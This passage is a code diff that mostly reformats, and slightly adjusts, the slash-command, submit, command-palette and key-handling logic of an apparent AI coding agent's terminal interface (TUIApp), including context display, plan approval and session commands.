- .reduce((sum, m) => sum + estimateTokens(typeof m.content === 'string' ? m.content : JSON.stringify(m.content)), 0);
1161
+ .reduce((sum, m) => sum +
1162
+ estimateTokens(typeof m.content === 'string' ? m.content : JSON.stringify(m.content)), 0);
1245
1163
  const totalTokens = systemTokens + mcpTokens + agentToolTokens + convTokens;
1246
1164
  const contextLimit = agent.getMaxContextTokens();
1247
1165
  const percent = Math.round((totalTokens / contextLimit) * 100);
1248
- const bar = '='.repeat(Math.min(20, Math.round(percent / 5))) + '-'.repeat(Math.max(0, 20 - Math.round(percent / 5)));
1166
+ const bar = '='.repeat(Math.min(20, Math.round(percent / 5))) +
1167
+ '-'.repeat(Math.max(0, 20 - Math.round(percent / 5)));
1249
1168
  addMessage('system', [
1250
- `Context (~${totalTokens.toLocaleString()} / ${(contextLimit / 1000)}k)`,
1169
+ `Context (~${totalTokens.toLocaleString()} / ${contextLimit / 1000}k)`,
1251
1170
  ` [${bar}] ${percent}%`,
1252
1171
  ` System: ~${systemTokens.toLocaleString()}`,
1253
1172
  ` Tools: ~${agentToolTokens.toLocaleString()} (${agentTools.length})`,
@@ -1265,7 +1184,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
1265
1184
  return;
1266
1185
  }
1267
1186
  setIsProcessing(true);
1268
- setStatus(s => ({ ...s, mode: 'compacting' }));
1187
+ setStatus((s) => ({ ...s, mode: 'compacting' }));
1269
1188
  const result = await compactor.compact(agentState.messages);
1270
1189
  agent.loadMessages(result.preservedMessages);
1271
1190
  addMessage('system', `Compacted: ${result.compactedCount + result.preservedMessages.length} -> ${result.preservedMessages.length} msgs`);
@@ -1274,7 +1193,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
1274
1193
  addMessage('error', e.message);
1275
1194
  }
1276
1195
  setIsProcessing(false);
1277
- setStatus(s => ({ ...s, mode: 'ready' }));
1196
+ setStatus((s) => ({ ...s, mode: 'ready' }));
1278
1197
  return;
1279
1198
  case 'mcp': {
1280
1199
  if (args[0] === 'tools') {
@@ -1284,7 +1203,10 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
1284
1203
  }
1285
1204
  else {
1286
1205
  const stats = mcpClient.getContextStats();
1287
- addMessage('system', `MCP Tools (${stats.loadedCount}/${stats.totalTools}):\n${tools.slice(0, 15).map((t) => ` ${mcpClient.isToolLoaded(t.name) ? '[Y]' : '[ ]'} ${t.name}`).join('\n')}`);
1206
+ addMessage('system', `MCP Tools (${stats.loadedCount}/${stats.totalTools}):\n${tools
1207
+ .slice(0, 15)
1208
+ .map((t) => ` ${mcpClient.isToolLoaded(t.name) ? '[Y]' : '[ ]'} ${t.name}`)
1209
+ .join('\n')}`);
1288
1210
  }
1289
1211
  return;
1290
1212
  }
@@ -1326,8 +1248,12 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
1326
1248
  ...builtIn.slice(0, 10).map((t) => ` * ${t.name}`),
1327
1249
  builtIn.length > 10 ? ` ... +${builtIn.length - 10}` : '',
1328
1250
  `MCP (${mcpTools.length}):`,
1329
- ...(mcpTools.length > 0 ? mcpTools.slice(0, 5).map((t) => ` * ${t.name}`) : [' (none)']),
1330
- ].filter(Boolean).join('\n'));
1251
+ ...(mcpTools.length > 0
1252
+ ? mcpTools.slice(0, 5).map((t) => ` * ${t.name}`)
1253
+ : [' (none)']),
1254
+ ]
1255
+ .filter(Boolean)
1256
+ .join('\n'));
1331
1257
  return;
1332
1258
  }
1333
1259
  case 'checkpoint':
@@ -1414,7 +1340,10 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
1414
1340
  addMessage('system', 'No threads.');
1415
1341
  }
1416
1342
  else {
1417
- addMessage('system', 'Threads:\n' + threads.map((t) => ` ${t.id}${t.name ? ` - ${t.name}` : ''} (${t.messages?.length || 0} msgs)`).join('\n'));
1343
+ addMessage('system', 'Threads:\n' +
1344
+ threads
1345
+ .map((t) => ` ${t.id}${t.name ? ` - ${t.name}` : ''} (${t.messages?.length || 0} msgs)`)
1346
+ .join('\n'));
1418
1347
  }
1419
1348
  }
1420
1349
  catch (e) {
@@ -1450,12 +1379,14 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
1450
1379
  `Mode: ${modeInfo.icon} ${modeInfo.name}`,
1451
1380
  hasPlan ? ` Pending: ${agent.getPendingChangeCount()} changes` : '',
1452
1381
  agent.getAvailableModes(),
1453
- ].filter(Boolean).join('\n'));
1382
+ ]
1383
+ .filter(Boolean)
1384
+ .join('\n'));
1454
1385
  }
1455
1386
  else {
1456
1387
  agent.setMode(args[0].toLowerCase());
1457
1388
  const modeInfo = agent.getModeInfo();
1458
- setStatus(s => ({ ...s, mode: modeInfo.name === 'Plan' ? 'ready (plan)' : 'ready' }));
1389
+ setStatus((s) => ({ ...s, mode: modeInfo.name === 'Plan' ? 'ready (plan)' : 'ready' }));
1459
1390
  addMessage('system', `Mode: ${modeInfo.icon} ${modeInfo.name}`);
1460
1391
  }
1461
1392
  return;
@@ -1463,7 +1394,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
1463
1394
  case 'plan': {
1464
1395
  agent.togglePlanMode();
1465
1396
  const modeInfo = agent.getModeInfo();
1466
- setStatus(s => ({ ...s, mode: modeInfo.name === 'Plan' ? 'ready (plan)' : 'ready' }));
1397
+ setStatus((s) => ({ ...s, mode: modeInfo.name === 'Plan' ? 'ready (plan)' : 'ready' }));
1467
1398
  addMessage('system', `Mode: ${modeInfo.icon} ${modeInfo.name}`);
1468
1399
  if (modeInfo.name === 'Plan') {
1469
1400
  addMessage('system', 'Plan Mode: writes are queued. /show-plan, /approve, /reject');
@@ -1487,7 +1418,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
1487
1418
  setIsProcessing(true);
1488
1419
  executionModeRef.current = 'approving';
1489
1420
  setExecutionMode('approving');
1490
- setStatus(s => ({ ...s, mode: 'executing plan' }));
1421
+ setStatus((s) => ({ ...s, mode: 'executing plan' }));
1491
1422
  try {
1492
1423
  const count = args[0] ? parseInt(args[0], 10) : undefined;
1493
1424
  const result = await agent.approvePlan(count);
@@ -1508,7 +1439,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
1508
1439
  if (agent.getMode() === 'plan') {
1509
1440
  agent.setMode('build');
1510
1441
  }
1511
- setStatus(s => ({ ...s, mode: 'ready' }));
1442
+ setStatus((s) => ({ ...s, mode: 'ready' }));
1512
1443
  }
1513
1444
  return;
1514
1445
  }
@@ -1521,7 +1452,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
1521
1452
  addMessage('system', '[X] Plan rejected');
1522
1453
  if (agent.getMode() === 'plan') {
1523
1454
  agent.setMode('build');
1524
- setStatus(s => ({ ...s, mode: 'ready' }));
1455
+ setStatus((s) => ({ ...s, mode: 'ready' }));
1525
1456
  }
1526
1457
  return;
1527
1458
  case 'theme': {
@@ -1634,7 +1565,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
1634
1565
  return;
1635
1566
  }
1636
1567
  setIsProcessing(true);
1637
- setStatus(s => ({ ...s, mode: 'spawning' }));
1568
+ setStatus((s) => ({ ...s, mode: 'spawning' }));
1638
1569
  try {
1639
1570
  const [agentName, ...taskParts] = args;
1640
1571
  const task = taskParts.join(' ');
@@ -1645,7 +1576,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
1645
1576
  addMessage('error', e.message);
1646
1577
  }
1647
1578
  setIsProcessing(false);
1648
- setStatus(s => ({ ...s, mode: 'ready' }));
1579
+ setStatus((s) => ({ ...s, mode: 'ready' }));
1649
1580
  return;
1650
1581
  // Trace analysis commands
1651
1582
  case 'trace': {
@@ -1727,7 +1658,11 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
1727
1658
  const { createTraceSummaryGenerator } = await import('../analysis/trace-summary.js');
1728
1659
  const generator = createTraceSummaryGenerator(data);
1729
1660
  const summary = generator.generate();
1730
- const lines = ['Efficiency Analysis:', '', `Anomalies Detected: ${summary.anomalies.length}`];
1661
+ const lines = [
1662
+ 'Efficiency Analysis:',
1663
+ '',
1664
+ `Anomalies Detected: ${summary.anomalies.length}`,
1665
+ ];
1731
1666
  if (summary.anomalies.length === 0) {
1732
1667
  lines.push(' No significant issues detected.');
1733
1668
  }
@@ -1844,18 +1779,38 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
1844
1779
  addMessage('system', `[ok] TypeScript compilation clean (${tscResult.duration}ms)`);
1845
1780
  }
1846
1781
  else {
1847
- const summary = tscResult.errors.slice(0, 10)
1848
- .map(e => ` ${e.file}(${e.line},${e.column}): ${e.code} — ${e.message}`)
1782
+ const summary = tscResult.errors
1783
+ .slice(0, 10)
1784
+ .map((e) => ` ${e.file}(${e.line},${e.column}): ${e.code} — ${e.message}`)
1849
1785
  .join('\n');
1850
1786
  addMessage('system', `[X] ${tscResult.errorCount} TypeScript error(s) (${tscResult.duration}ms):\n${summary}`);
1851
1787
  }
1852
- transparencyAggregatorRef.current?.processEvent({ type: 'diagnostics.tsc-check', errorCount: tscResult.errorCount, duration: tscResult.duration, trigger: 'manual' });
1788
+ transparencyAggregatorRef.current?.processEvent({
1789
+ type: 'diagnostics.tsc-check',
1790
+ errorCount: tscResult.errorCount,
1791
+ duration: tscResult.duration,
1792
+ trigger: 'manual',
1793
+ });
1853
1794
  return;
1854
1795
  }
1855
1796
  default:
1856
1797
  addMessage('system', `Unknown: /${cmd}. Try /help`);
1857
1798
  }
1858
- }, [addMessage, exit, agent, mcpClient, lspManager, sessionStore, compactor, model, currentThemeName, currentSessionId, formatSessionsTable, saveCheckpointToStore, showThinking, persistPendingPlanToStore]);
1799
+ }, [
1800
+ addMessage,
1801
+ exit,
1802
+ agent,
1803
+ mcpClient,
1804
+ lspManager,
1805
+ sessionStore,
1806
+ compactor,
1807
+ model,
1808
+ currentThemeName,
1809
+ currentSessionId,
1810
+ formatSessionsTable,
1811
+ saveCheckpointToStore,
1812
+ persistPendingPlanToStore,
1813
+ ]);
1859
1814
  // =========================================================================
1860
1815
  // SUBMIT HANDLER
1861
1816
  // =========================================================================
@@ -1878,13 +1833,13 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
1878
1833
  setIsProcessing(true);
1879
1834
  executionModeRef.current = 'processing';
1880
1835
  setExecutionMode('processing');
1881
- setStatus(s => ({ ...s, mode: 'thinking' }));
1836
+ setStatus((s) => ({ ...s, mode: 'thinking' }));
1882
1837
  // Reset CPU time counter for per-prompt resource limits (prevents session-wide timeout)
1883
1838
  agent.resetResourceTimer();
1884
1839
  try {
1885
1840
  const autoLoop = await runWithIncompleteAutoLoop(agent, trimmed, {
1886
1841
  onRetry: (attempt, maxAttempts) => {
1887
- setStatus(s => ({ ...s, mode: `recovering ${attempt}/${maxAttempts}` }));
1842
+ setStatus((s) => ({ ...s, mode: `recovering ${attempt}/${maxAttempts}` }));
1888
1843
  addMessage('system', `[AUTO-LOOP] Retrying incomplete run (${attempt}/${maxAttempts})`);
1889
1844
  },
1890
1845
  });
@@ -1893,15 +1848,25 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
1893
1848
  const modeInfo = agent.getModeInfo();
1894
1849
  const completion = result.completion;
1895
1850
  const finalMode = completion.success
1896
- ? (modeInfo.name === 'Plan' ? 'ready (plan)' : 'ready')
1897
- : (completion.reason === 'open_tasks' || completion.reason === 'future_intent' || completion.reason === 'incomplete_action'
1851
+ ? modeInfo.name === 'Plan'
1852
+ ? 'ready (plan)'
1853
+ : 'ready'
1854
+ : completion.reason === 'open_tasks' ||
1855
+ completion.reason === 'future_intent' ||
1856
+ completion.reason === 'incomplete_action'
1898
1857
  ? 'incomplete'
1899
- : 'failed');
1900
- setStatus({ iter: metrics.llmCalls, tokens: metrics.totalTokens, cost: metrics.estimatedCost, mode: finalMode });
1858
+ : 'failed';
1859
+ setStatus({
1860
+ iter: metrics.llmCalls,
1861
+ tokens: metrics.totalTokens,
1862
+ cost: metrics.estimatedCost,
1863
+ mode: finalMode,
1864
+ });
1901
1865
  // Calculate current context size (what's actually in the window now)
1902
1866
  const agentState = agent.getState();
1903
1867
  const estimateTokens = (str) => estimateTokenCount(str);
1904
- const messageTokens = agentState.messages.reduce((sum, m) => sum + estimateTokens(typeof m.content === 'string' ? m.content : JSON.stringify(m.content)), 0);
1868
+ const messageTokens = agentState.messages.reduce((sum, m) => sum +
1869
+ estimateTokens(typeof m.content === 'string' ? m.content : JSON.stringify(m.content)), 0);
1905
1870
  // Include system prompt overhead (codebase context, tools, rules)
1906
1871
  const systemPromptTokens = agent.getSystemPromptTokenEstimate?.() ?? 0;
1907
1872
  const currentContextTokens = messageTokens + systemPromptTokens;
@@ -1909,8 +1874,12 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
1909
1874
  const contextPct = Math.round((currentContextTokens / contextLimit) * 100);
1910
1875
  const durationSec = (metrics.duration / 1000).toFixed(1);
1911
1876
  // Format: Session total (cumulative cost) | Current context (compaction awareness)
1912
- const sessionIn = metrics.inputTokens >= 1000 ? `${(metrics.inputTokens / 1000).toFixed(1)}k` : metrics.inputTokens.toLocaleString();
1913
- const sessionOut = metrics.outputTokens >= 1000 ? `${(metrics.outputTokens / 1000).toFixed(1)}k` : metrics.outputTokens.toLocaleString();
1877
+ const sessionIn = metrics.inputTokens >= 1000
1878
+ ? `${(metrics.inputTokens / 1000).toFixed(1)}k`
1879
+ : metrics.inputTokens.toLocaleString();
1880
+ const sessionOut = metrics.outputTokens >= 1000
1881
+ ? `${(metrics.outputTokens / 1000).toFixed(1)}k`
1882
+ : metrics.outputTokens.toLocaleString();
1914
1883
  const contextK = (currentContextTokens / 1000).toFixed(1);
1915
1884
  const metricsLine = `\n---\nSession: ${sessionIn} in / ${sessionOut} out | Context: ${contextK}k/${contextLimit / 1000}k (${contextPct}%) | ${metrics.toolCalls} tools | ${durationSec}s`;
1916
1885
  if (agent.hasPendingPlan()) {
@@ -1923,14 +1892,15 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
1923
1892
  }
1924
1893
  }
1925
1894
  else {
1926
- const responseText = (result.response != null && result.response.length > 0)
1895
+ const responseText = result.response != null && result.response.length > 0
1927
1896
  ? result.response
1928
- : (result.error || 'No response');
1897
+ : result.error || 'No response';
1929
1898
  if (!result.success) {
1930
1899
  if (result.completion.reason === 'open_tasks' && result.completion.openTasks) {
1931
1900
  addMessage('system', `[INCOMPLETE] Open tasks remain: ${result.completion.openTasks.pending} pending, ${result.completion.openTasks.inProgress} in_progress, ${result.completion.openTasks.blocked} blocked`);
1932
1901
  }
1933
- else if (result.completion.reason === 'future_intent' || result.completion.reason === 'incomplete_action') {
1902
+ else if (result.completion.reason === 'future_intent' ||
1903
+ result.completion.reason === 'incomplete_action') {
1934
1904
  addMessage('system', `[INCOMPLETE] ${result.completion.details || 'Run ended with pending work.'}`);
1935
1905
  }
1936
1906
  addMessage('error', `[RUN FAILED] ${result.error || 'The agent did not complete this task successfully.'}`);
@@ -1965,36 +1935,156 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
1965
1935
  setIsProcessing(false);
1966
1936
  setToolCalls([]);
1967
1937
  }
1968
- }, [addMessage, handleCommand, agent, sessionStore, saveCheckpointToStore, persistenceDebug, persistPendingPlanToStore, finishExecutionMode]);
1938
+ }, [
1939
+ addMessage,
1940
+ handleCommand,
1941
+ agent,
1942
+ sessionStore,
1943
+ saveCheckpointToStore,
1944
+ persistenceDebug,
1945
+ persistPendingPlanToStore,
1946
+ finishExecutionMode,
1947
+ ]);
1969
1948
  // =========================================================================
1970
1949
  // COMMAND PALETTE ITEMS
1971
1950
  // =========================================================================
1972
1951
  const commandPaletteItems = useMemo(() => [
1973
- { id: 'help', label: 'Help', shortcut: '/help', category: 'General', action: () => handleCommand('help', []) },
1974
- { id: 'status', label: 'Show Status', shortcut: '/status', category: 'General', action: () => handleCommand('status', []) },
1975
- { id: 'clear', label: 'Clear Screen', shortcut: 'Ctrl+L', category: 'General', action: () => { setMessages([]); setToolCalls([]); } },
1976
- { id: 'save', label: 'Save Session', shortcut: '/save', category: 'Sessions', action: () => handleCommand('save', []) },
1977
- { id: 'sessions', label: 'List Sessions', shortcut: '/sessions', category: 'Sessions', action: () => handleCommand('sessions', []) },
1978
- { id: 'load', label: 'Load Session', shortcut: '/load <id>', category: 'Sessions', action: () => handleCommand('sessions', []) }, // Shows sessions, user types /load <id>
1979
- { id: 'context', label: 'Context Info', shortcut: '/context', category: 'Context', action: () => handleCommand('context', []) },
1980
- { id: 'compact', label: 'Compact Context', shortcut: '/compact', category: 'Context', action: () => handleCommand('compact', []) },
1981
- { id: 'mcp', label: 'MCP Servers', shortcut: '/mcp', category: 'MCP', action: () => handleCommand('mcp', []) },
1982
- { id: 'mcp-tools', label: 'MCP Tools', shortcut: '/mcp tools', category: 'MCP', action: () => handleCommand('mcp', ['tools']) },
1983
- { id: 'plan', label: 'Toggle Plan Mode', shortcut: '/plan', category: 'Plan', action: () => handleCommand('plan', []) },
1984
- { id: 'show-plan', label: 'Show Plan', shortcut: '/show-plan', category: 'Plan', action: () => handleCommand('show-plan', []) },
1985
- { id: 'approve', label: 'Approve Plan', shortcut: '/approve', category: 'Plan', action: () => handleCommand('approve', []) },
1986
- { id: 'reject', label: 'Reject Plan', shortcut: '/reject', category: 'Plan', action: () => handleCommand('reject', []) },
1987
- { id: 'tools', label: 'List Tools', shortcut: '/tools', category: 'Debug', action: () => handleCommand('tools', []) },
1988
- { id: 'tsc', label: 'TypeScript Check', shortcut: '/tsc', category: 'Diagnostics', action: () => handleCommand('tsc', []) },
1989
- { id: 'theme', label: 'Change Theme', shortcut: '/theme', category: 'Settings', action: () => handleCommand('theme', []) },
1990
- { id: 'exit', label: 'Exit', shortcut: 'Ctrl+C', category: 'General', action: () => agent.cleanup().then(() => exit()) },
1952
+ {
1953
+ id: 'help',
1954
+ label: 'Help',
1955
+ shortcut: '/help',
1956
+ category: 'General',
1957
+ action: () => handleCommand('help', []),
1958
+ },
1959
+ {
1960
+ id: 'status',
1961
+ label: 'Show Status',
1962
+ shortcut: '/status',
1963
+ category: 'General',
1964
+ action: () => handleCommand('status', []),
1965
+ },
1966
+ {
1967
+ id: 'clear',
1968
+ label: 'Clear Screen',
1969
+ shortcut: 'Ctrl+L',
1970
+ category: 'General',
1971
+ action: () => {
1972
+ setMessages([]);
1973
+ setToolCalls([]);
1974
+ },
1975
+ },
1976
+ {
1977
+ id: 'save',
1978
+ label: 'Save Session',
1979
+ shortcut: '/save',
1980
+ category: 'Sessions',
1981
+ action: () => handleCommand('save', []),
1982
+ },
1983
+ {
1984
+ id: 'sessions',
1985
+ label: 'List Sessions',
1986
+ shortcut: '/sessions',
1987
+ category: 'Sessions',
1988
+ action: () => handleCommand('sessions', []),
1989
+ },
1990
+ {
1991
+ id: 'load',
1992
+ label: 'Load Session',
1993
+ shortcut: '/load <id>',
1994
+ category: 'Sessions',
1995
+ action: () => handleCommand('sessions', []),
1996
+ }, // Shows sessions, user types /load <id>
1997
+ {
1998
+ id: 'context',
1999
+ label: 'Context Info',
2000
+ shortcut: '/context',
2001
+ category: 'Context',
2002
+ action: () => handleCommand('context', []),
2003
+ },
2004
+ {
2005
+ id: 'compact',
2006
+ label: 'Compact Context',
2007
+ shortcut: '/compact',
2008
+ category: 'Context',
2009
+ action: () => handleCommand('compact', []),
2010
+ },
2011
+ {
2012
+ id: 'mcp',
2013
+ label: 'MCP Servers',
2014
+ shortcut: '/mcp',
2015
+ category: 'MCP',
2016
+ action: () => handleCommand('mcp', []),
2017
+ },
2018
+ {
2019
+ id: 'mcp-tools',
2020
+ label: 'MCP Tools',
2021
+ shortcut: '/mcp tools',
2022
+ category: 'MCP',
2023
+ action: () => handleCommand('mcp', ['tools']),
2024
+ },
2025
+ {
2026
+ id: 'plan',
2027
+ label: 'Toggle Plan Mode',
2028
+ shortcut: '/plan',
2029
+ category: 'Plan',
2030
+ action: () => handleCommand('plan', []),
2031
+ },
2032
+ {
2033
+ id: 'show-plan',
2034
+ label: 'Show Plan',
2035
+ shortcut: '/show-plan',
2036
+ category: 'Plan',
2037
+ action: () => handleCommand('show-plan', []),
2038
+ },
2039
+ {
2040
+ id: 'approve',
2041
+ label: 'Approve Plan',
2042
+ shortcut: '/approve',
2043
+ category: 'Plan',
2044
+ action: () => handleCommand('approve', []),
2045
+ },
2046
+ {
2047
+ id: 'reject',
2048
+ label: 'Reject Plan',
2049
+ shortcut: '/reject',
2050
+ category: 'Plan',
2051
+ action: () => handleCommand('reject', []),
2052
+ },
2053
+ {
2054
+ id: 'tools',
2055
+ label: 'List Tools',
2056
+ shortcut: '/tools',
2057
+ category: 'Debug',
2058
+ action: () => handleCommand('tools', []),
2059
+ },
2060
+ {
2061
+ id: 'tsc',
2062
+ label: 'TypeScript Check',
2063
+ shortcut: '/tsc',
2064
+ category: 'Diagnostics',
2065
+ action: () => handleCommand('tsc', []),
2066
+ },
2067
+ {
2068
+ id: 'theme',
2069
+ label: 'Change Theme',
2070
+ shortcut: '/theme',
2071
+ category: 'Settings',
2072
+ action: () => handleCommand('theme', []),
2073
+ },
2074
+ {
2075
+ id: 'exit',
2076
+ label: 'Exit',
2077
+ shortcut: 'Ctrl+C',
2078
+ category: 'General',
2079
+ action: () => agent.cleanup().then(() => exit()),
2080
+ },
1991
2081
  ], [handleCommand, agent, exit]);
1992
2082
  // Get filtered command palette items for current query
1993
2083
  const filteredCommandItems = useMemo(() => {
1994
2084
  if (!commandPaletteQuery)
1995
2085
  return commandPaletteItems;
1996
2086
  const q = commandPaletteQuery.toLowerCase();
1997
- return commandPaletteItems.filter(item => item.label.toLowerCase().includes(q) ||
2087
+ return commandPaletteItems.filter((item) => item.label.toLowerCase().includes(q) ||
1998
2088
  item.id.toLowerCase().includes(q) ||
1999
2089
  (item.shortcut && item.shortcut.toLowerCase().includes(q)));
2000
2090
  }, [commandPaletteItems, commandPaletteQuery]);
@@ -2020,22 +2110,22 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
2020
2110
  }
2021
2111
  // Arrow keys navigate
2022
2112
  if (key.upArrow) {
2023
- setCommandPaletteIndex(i => Math.max(0, i - 1));
2113
+ setCommandPaletteIndex((i) => Math.max(0, i - 1));
2024
2114
  return;
2025
2115
  }
2026
2116
  if (key.downArrow) {
2027
- setCommandPaletteIndex(i => Math.min(filteredCommandItems.length - 1, i + 1));
2117
+ setCommandPaletteIndex((i) => Math.min(filteredCommandItems.length - 1, i + 1));
2028
2118
  return;
2029
2119
  }
2030
2120
  // Backspace
2031
2121
  if (key.backspace || key.delete) {
2032
- setCommandPaletteQuery(q => q.slice(0, -1));
2122
+ setCommandPaletteQuery((q) => q.slice(0, -1));
2033
2123
  setCommandPaletteIndex(0);
2034
2124
  return;
2035
2125
  }
2036
2126
  // Regular character input
2037
2127
  if (input && !key.ctrl && !key.meta) {
2038
- setCommandPaletteQuery(q => q + input);
2128
+ setCommandPaletteQuery((q) => q + input);
2039
2129
  setCommandPaletteIndex(0);
2040
2130
  }
2041
2131
  }, [filteredCommandItems, commandPaletteIndex]);
@@ -2048,12 +2138,12 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
2048
2138
  }
2049
2139
  // Backspace
2050
2140
  if (key.backspace || key.delete) {
2051
- setDenyReason(r => r.slice(0, -1));
2141
+ setDenyReason((r) => r.slice(0, -1));
2052
2142
  return;
2053
2143
  }
2054
2144
  // Regular character input
2055
2145
  if (input && !key.ctrl && !key.meta) {
2056
- setDenyReason(r => r + input);
2146
+ setDenyReason((r) => r + input);
2057
2147
  }
2058
2148
  }, [denyReason, handleDeny]);
2059
2149
  // =========================================================================
@@ -2065,7 +2155,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
2065
2155
  clearTimeout(ctrlCTimerRef.current);
2066
2156
  ctrlCTimerRef.current = null;
2067
2157
  }
2068
- setCtrlCCount(prevCount => {
2158
+ setCtrlCCount((prevCount) => {
2069
2159
  const newCount = prevCount + 1;
2070
2160
  if (newCount >= 2) {
2071
2161
  // Second Ctrl+C within timeout window - force exit immediately
@@ -2074,7 +2164,8 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
2074
2164
  // First Ctrl+C - show warning and start graceful cleanup
2075
2165
  addMessage('system', '[CTRL+C] Press again within 1s to force exit...');
2076
2166
  // Start graceful cleanup in background
2077
- agent.cleanup()
2167
+ agent
2168
+ .cleanup()
2078
2169
  .then(() => mcpClient.cleanup())
2079
2170
  .then(() => lspManager.cleanup())
2080
2171
  .then(() => exit())
@@ -2092,7 +2183,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
2092
2183
  setToolCalls([]);
2093
2184
  }, []);
2094
2185
  const handleCtrlP = useCallback(() => {
2095
- setCommandPaletteOpen(prev => !prev);
2186
+ setCommandPaletteOpen((prev) => !prev);
2096
2187
  setCommandPaletteQuery('');
2097
2188
  setCommandPaletteIndex(0);
2098
2189
  }, []);
@@ -2126,103 +2217,74 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
2126
2217
  }
2127
2218
  // Cancel the agent
2128
2219
  agent.cancel('Cancelled by ESC');
2220
+ finishExecutionMode();
2129
2221
  setIsProcessing(false);
2130
2222
  addMessage('system', '[STOP] Cancelled (checkpoint saved)');
2131
2223
  }
2132
- }, [agent, addMessage, commandPaletteOpen, sessionStore, currentSessionId, saveCheckpointToStore, persistenceDebug, persistPendingPlanToStore]);
2224
+ }, [
2225
+ agent,
2226
+ addMessage,
2227
+ commandPaletteOpen,
2228
+ sessionStore,
2229
+ currentSessionId,
2230
+ saveCheckpointToStore,
2231
+ persistenceDebug,
2232
+ persistPendingPlanToStore,
2233
+ finishExecutionMode,
2234
+ ]);
2133
2235
  const handleToggleToolExpand = useCallback(() => {
2134
- setToolCallsExpanded(prev => {
2236
+ setToolCallsExpanded((prev) => {
2135
2237
  addMessage('system', !prev ? '[*] Tool details: expanded' : '[ ] Tool details: collapsed');
2136
2238
  return !prev;
2137
2239
  });
2138
2240
  }, [addMessage]);
2139
2241
  const handleToggleThinking = useCallback(() => {
2140
- setShowThinking(prev => {
2242
+ setShowThinking((prev) => {
2141
2243
  addMessage('system', !prev ? '[*] Thinking: verbose' : '[ ] Thinking: minimal');
2142
2244
  return !prev;
2143
2245
  });
2144
2246
  }, [addMessage]);
2145
2247
  const handleToggleTransparency = useCallback(() => {
2146
- setTransparencyExpanded(prev => {
2248
+ setTransparencyExpanded((prev) => {
2147
2249
  addMessage('system', !prev ? '[v] Transparency panel: visible' : '[^] Transparency panel: hidden');
2148
2250
  return !prev;
2149
2251
  });
2150
2252
  }, [addMessage]);
2151
2253
  const handleToggleActiveAgents = useCallback(() => {
2152
- setActiveAgentsExpanded(prev => {
2254
+ setActiveAgentsExpanded((prev) => {
2153
2255
  addMessage('system', !prev ? '[v] Active agents: visible' : '[^] Active agents: hidden');
2154
2256
  return !prev;
2155
2257
  });
2156
2258
  }, [addMessage]);
2157
2259
  const handleToggleTasks = useCallback(() => {
2158
- setTasksExpanded(prev => {
2260
+ setTasksExpanded((prev) => {
2159
2261
  addMessage('system', !prev ? '[v] Tasks: visible' : '[^] Tasks: hidden');
2160
2262
  return !prev;
2161
2263
  });
2162
2264
  }, [addMessage]);
2163
2265
  const handleToggleDebug = useCallback(() => {
2164
- setDebugExpanded(prev => {
2266
+ setDebugExpanded((prev) => {
2165
2267
  addMessage('system', !prev ? '[v] Debug panel: visible (Alt+D)' : '[^] Debug panel: hidden');
2166
2268
  return !prev;
2167
2269
  });
2168
2270
  }, [addMessage]);
2169
2271
  const handleToggleSwarm = useCallback(() => {
2170
- setSwarmExpanded(prev => !prev);
2272
+ setSwarmExpanded((prev) => !prev);
2171
2273
  }, []);
2172
2274
  const handleToggleDiagnostics = useCallback(() => {
2173
- setDiagExpanded(prev => {
2275
+ setDiagExpanded((prev) => {
2174
2276
  addMessage('system', !prev ? '[d] Diagnostics: visible (Alt+Y)' : '[^] Diagnostics: hidden');
2175
2277
  return !prev;
2176
2278
  });
2177
2279
  }, [addMessage]);
2178
- // Update context tokens (include system prompt overhead) and budget health
2179
- useEffect(() => {
2180
- const agentState = agent.getState();
2181
- const estimateTokens = (str) => estimateTokenCount(str);
2182
- const messageTokens = agentState.messages.reduce((sum, m) => sum + estimateTokens(typeof m.content === 'string' ? m.content : JSON.stringify(m.content)), 0);
2183
- const systemPromptTokens = agent.getSystemPromptTokenEstimate?.() ?? 0;
2184
- setContextTokens(messageTokens + systemPromptTokens);
2185
- // Update budget health from economics system
2186
- const budgetUsage = agent.getBudgetUsage?.();
2187
- if (budgetUsage) {
2188
- setBudgetPct(Math.round(budgetUsage.percentUsed));
2189
- }
2190
- }, [status.tokens, messages.length, agent]);
2191
- // Track elapsed time
2192
- useEffect(() => {
2193
- if (isProcessing) {
2194
- processingStartRef.current = Date.now();
2195
- setElapsedTime(0);
2196
- const interval = setInterval(() => {
2197
- if (processingStartRef.current) {
2198
- setElapsedTime(Math.floor((Date.now() - processingStartRef.current) / 1000));
2199
- }
2200
- }, 1000);
2201
- return () => clearInterval(interval);
2202
- }
2203
- else {
2204
- processingStartRef.current = null;
2205
- return undefined;
2206
- }
2207
- }, [isProcessing]);
2208
- const modelShort = (model || 'unknown').split('/').pop() || model || 'unknown';
2209
- const contextPct = Math.round((contextTokens / agent.getMaxContextTokens()) * 100);
2210
